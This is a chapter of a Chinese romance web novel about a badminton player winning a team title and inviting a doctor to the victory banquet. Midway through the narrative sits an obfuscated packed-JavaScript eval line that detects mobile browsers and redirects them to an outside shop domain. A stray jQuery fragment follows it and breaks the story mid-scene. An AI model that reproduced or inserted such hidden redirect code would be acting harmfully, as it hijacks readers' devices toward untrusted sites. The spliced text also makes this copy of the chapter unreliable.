下半场双方的较量依旧焦灼,无数次攻防转换后,比分已经突破21分,来到了23:22,中国队领先。
观赛席的一众运动员早已堵在出口处,时刻准备着冲上场迎接胜利,有几个年纪小的队员甚至已经摆好了起跑姿势。
球迷们也早在中国队拿下第一个赛点时就激动起身,疯狂挥舞手上的国旗。
但对方想把比赛拖入第三局。面对苏奕川和周远的频繁下压,日本队的两人就算在地上滚一圈也要把球救回,一时间中国队竟拿他们的拼命式防守没有办法。
姜漫人都已经站到场边的广告牌前了,盯着场上的局势,嘴里念念有词:“换节奏换节奏。”
果然场上二人好似与队友心有灵犀,放弃下压进攻,直接将球抽向对方后场。日本队两人刚从地上爬起,没来得及看清队友的站位便一齐奔向的后场!
虽然回球质量不错,也平直地飞向中国队后场,但日本队二人在后场相撞,前场空虚,周远在中场就起跳截住羽球,收力向对方的前场外角轻吊。
球甚至在网带上停留了一瞬,才紧贴着网朝对方场地坠下。日本队二人又一齐冲上网前,但面对如此高质量的滚网球已无力回天。
“啊!!!”球迷的尖叫声直接淹没了裁判的胜利宣判。
所有等在场边的队员、教练、队医也在那一瞬像是上弦的箭被发射出去。红色的人群一窝蜂涌入场内,把赛场上跪地流泪的二人团团围住。有人哭,有人喊,有人把毛巾甩到半空中便懒得再管它飞向哪里。
唐清樾被身边的声浪推得微微后仰。他看见姜漫的身影汇入那片红色里,然后随着那片红色扩散成一个圈,他们双手搭在战友肩上,一齐跳跃、旋转。
有带鼓的球迷敲起欢庆的节奏,掌声渐渐与节奏重合,喜悦与激动向场内翻腾着,有如实质般紧紧包裹住那群挥洒汗水和热血的年轻人。
唐清樾站起来,手里的充气棒也随着节奏一下下地敲击着,大概是自己都没意识到的动作。
他只觉得自己听到,千万颗心脏朝着同一个方向跳动时,撞出的回响。
……
工作人员终于把开心得发了疯似的众人劝下场,开始布置颁奖台。
等待颁奖典礼的空隙,摄影师对着观众席一通扫,配合主持人与球迷互动。唐清樾悄然离开运动员观赛席,回到了他在观众席的座位上。
姜漫的消息也在此时弹过来:
「唐医生你待会还有事吗?」
「没有的话稍等一下我哦。」
唐清樾坐定,手伸进风衣口袋,确认接到的那个球还在。
「没有其他事,在观众席看你领奖。」
姜漫的手指又悬在屏幕上不知道该回什么,这人怎么总是在网上就变得巧舌如簧?明明刚刚还坐在那里跟个傻子似的。
“哟哟哟~”叶夏禾的声音从耳边传来。
姜漫吓了一跳,赶紧按灭屏幕:“你是鬼吗?天天莫名其妙出现!”
“那心虚的人才怕鬼。”叶夏禾哼哼。
“谁心虚?没有的事!”
“谁说没有就是谁咯!”
“小学生……”宋宁的声音悠悠斜插进来。
二人停下拌嘴猛然回头。
“呀!我小宋妹妹回来了!来让姐姐看看好了没有?”叶夏禾嘴里不着调,眼神却是实在的关心。
姜漫没说话,径直走过去抱了抱宋宁。
宋宁有些不好意思,僵硬着身体任由姜漫抱着,和刚才无情吐槽的判若两人。
“已经好了,陈导叫我回来领奖,”她突然停下,又犹豫着开口,“漫姐你打得很好。”
姜漫松开手朝她笑笑:“要是你上,两局就能结束比赛。”
“少来。”宋宁偏过头去,声音闷闷的。
姜漫笑笑没再逗她,让出一个位置让她站到队伍里。她知道宋宁虽然年纪比她小,但却是队里最要强的一个,把她当伤员哄反而会让她更别扭。
工作人员开始招呼他们上场。姜漫也懒得纠结回复唐清樾什么了,反正他说会等她。把手机塞进口袋,跟随队伍缓缓移动。
颁奖台已经在场地中央搭好了。红色地毯铺得平整,冠军奖杯摆在高处,金色的表面反射出细碎的光。
季军和亚军队伍依次上台领奖。姜漫站在台下,看着他们接过铜牌和银牌,她也不知道自己在紧张什么,手心里出了一层薄汗。
“获得2029年苏迪曼杯世界羽毛球混合团体锦标赛冠军的是——中国队!!!”主持人高昂的声音在体育馆回荡。
终于等到属于他们的时刻!十几人手牵着手,高高举起,一齐踏上了最高领奖台!
在代表着荣耀的《奥林匹克鼓号曲》中,姜漫拿到了她复出以来第一块奖牌。
奖牌挂在胸前,手指轻触,甚至能感觉到它在微微发烫。
捧起奖杯的那一刻,她四下环顾,许明、林清宁、陈蔚、叶夏禾、郑好、程屿……身边围绕的都是熟悉的战友,奖杯上的光芒投到众人脸上,熠熠生辉。
本土作战,中国队不负众望,让场馆中奏响了国歌。姜漫跟着旋律开口,唱出声的时候发现嗓子是哑的。
奇怪,刚刚喊加油喊得那么用力嗓子都没哑。她的目光随着国旗慢慢上升,只觉得灯光刺得她的眼睛有些发酸。
离场前,姜漫伸手抓了一片飘落的彩带,悄悄塞进口袋。
队伍到达采访区,近一半的记者堵住姜漫。
记者A:“姜漫,首先恭喜你获得这枚金牌。此刻心情如何?”
“谢谢,”姜漫耸耸肩,微笑道,“很开心,但很想回去吃饭,好饿!”
记者们被逗笑。
记者B:“球迷们都很关心你的身体状况,决赛鏖战三局的情况下,膝盖怎么样?”
姜漫直接踢踢腿:“如你所见,恢复得不错,大家不用担心。”
记者C:“我们注意到相较于前几站巡回赛,这一次比赛你的打法越来越大胆了,可以分享一下你的心路历程吗?”
姜漫没有立刻回答,手无意识地摩挲着胸前的金牌,慢慢开口。
“我只是突然意识到,这一次再不敢起跳的话,以后可能就不会再有起跳的勇气了。”
她顿了顿,脑海中莫名闪过那棵银杏树和时不时会收到的照片,闪过观众席里站着那个人。
“而且,”她把声音放轻了一些,“我发现想让一棵有些生病的树长出新叶子,不能光靠它自己。”
记者们明显都愣了愣,没太反应过来最后一句话的意思。姜漫自己也是一愣,她自己都没想到会说出这些。
于是趁没有新的记者举起话筒的这一会儿,她赶紧脚底抹油地开溜。
一路往观众席入口跑,许明想拦她没拦住,只好在后面喊:“待会酒店有庆功宴,快点回停车场啊!”
姜漫朝后挥手表示知道了。
她一路小跑出了后台,发现唐清樾居然已经自己下来等她了。
“你怎么知道我会从这个口出来?”姜漫跑得有些喘。
“猜的。”唐清樾轻笑。
姜漫傻笑,朝他扬了扬挂在脖子上的金牌,有些得意:“这下回去可以和树奶奶交差了。”
“嗯,它会很开心的。”
“那它开心的话会好得快一些吗?”
“会,”唐清樾突然有种在回答幼儿园小朋友问题的既视感,“树和人一样,心情好有利健康。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17870337|212279||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“噢噢,那就好!”姜漫满意地摆弄着她的金牌,玩了一会儿才记起来自己过来的目的,想起自己刚刚采访时那个莫名其妙的回答,又有些不好意思起来,“那个……我们晚上有庆功宴,你、你来吗?”
“我是说,我能赢有一部分原因在于你,那这块金牌也有你的一份。”她的目光终于从鞋尖转向唐清樾的眼睛。
忽然直面她眼里细细碎碎的光,唐清樾有些怔住,好不容易张口想说会不会麻烦她,身后响起熟悉的声音。
“哟,聊着呢?”贱嗖嗖的,一听就知道是某陆姓人氏。
姜漫疑惑转头,是叶夏禾领着一个陌生男人走过来。
“你是转行当向导了吗?一天光顾着带人转来转去。”姜漫一边瞄着那个男人一边在叶夏禾耳边吐槽。
“哈哈哈,姜老师您好,我是陆畅。唐哥的发小,叶夏禾的高中同学,”他朝叶夏禾挤挤眼,才继续正色道,“同时也是K平台的羽球主播和解说员,恭喜姜老师夺冠!”
姜漫伸手和他握了一下,注意到他提起“高中同学”时叶夏禾的表情有点奇怪。
“你来干嘛?”陆畅出现时唐清樾就已经后退了半步,现在脸上嫌弃的神情对姜漫来说更是新奇,导致她没忍住多看了几眼。
“来找你们上车去吃饭啊,”陆畅无视压力,又对着姜漫赔笑道,“叶夏禾说可以去蹭饭,我和唐哥跟过去姜老师不介意吧?”
叶夏禾忍不住翻白眼:“你只是顺带的。”
就算是姜漫,也有些招架不住这个有些自来熟的人,唐清樾的发小居然是这种性格,让她有些惊讶。
“不用叫姜老师,叫名字就行,”她对着陆畅尴尬笑笑,“本来庆功宴也允许我们邀请朋友家人,我刚刚就是在请唐医生一起去。”
她边说边回身戳了戳唐清樾,眼神示意他一起走,唐清樾看状况也不再推辞,抬步跟上。
听到“唐医生”这个称呼,另两人都是挑挑眉,但没有立刻说什么。
往停车场去的路上,四人走着走着就变成了姜漫和叶夏禾挽着手走在前面,唐清樾和陆畅跟在后面。
“高中同学?”“唐医生?”闺蜜俩默契地同时质问起对方。
无声对峙了几秒,叶夏禾在姜漫的眼刀下投降,先开口供述:“读书的时候都喜欢羽毛球,整天被同学起哄,后来还真的约着如果上了同一所大学就试试看。”
“当然最后没实现,也就没有下文了,现在就是普通朋友,”她想了想补充道,“带唐工去找你就是他拜托我的。”
姜漫好不容易能八卦叶夏禾一次,结果就是这么个无聊的故事,她撇撇嘴,礼尚往来地解释:“之前跟你说去公园遇到的医生就是这个唐医生,树医生。”
“噢——”叶夏禾拖长了声音,坏笑道,“那之前抱着手机聊天不让我看的也是他咯!”
姜漫拧了一下她的手臂,急道:“你小点儿声!”
说完还心虚地瞄了一眼身后,叶夏禾见状满意得嘎嘎笑。
陆畅搭上唐清樾的肩膀,煞有介事地拍了拍,欣慰道:“没想到唐医生社交手段可以啊,我还以为你这辈子的社交圈只会局限在家人同事和我呢。”
“唐医生”三个字被他咬得格外重。
唐清樾打掉他的手,一脸冷漠:“再贫就把你从我的社交圈里移除。”
陆畅一副受伤状,嚷嚷:“你别忘了你的票是我给的!你能坐这么近看比赛也是我的功劳!”
唐清樾扯扯嘴角,从口袋里掏出姜漫忘记拿走的通行证在他眼前他晃了晃:“是姜漫带我去的,关你什么事?”
陆畅如遭雷劈:……
这种不知感恩的朋友现在绝交还来得及吗?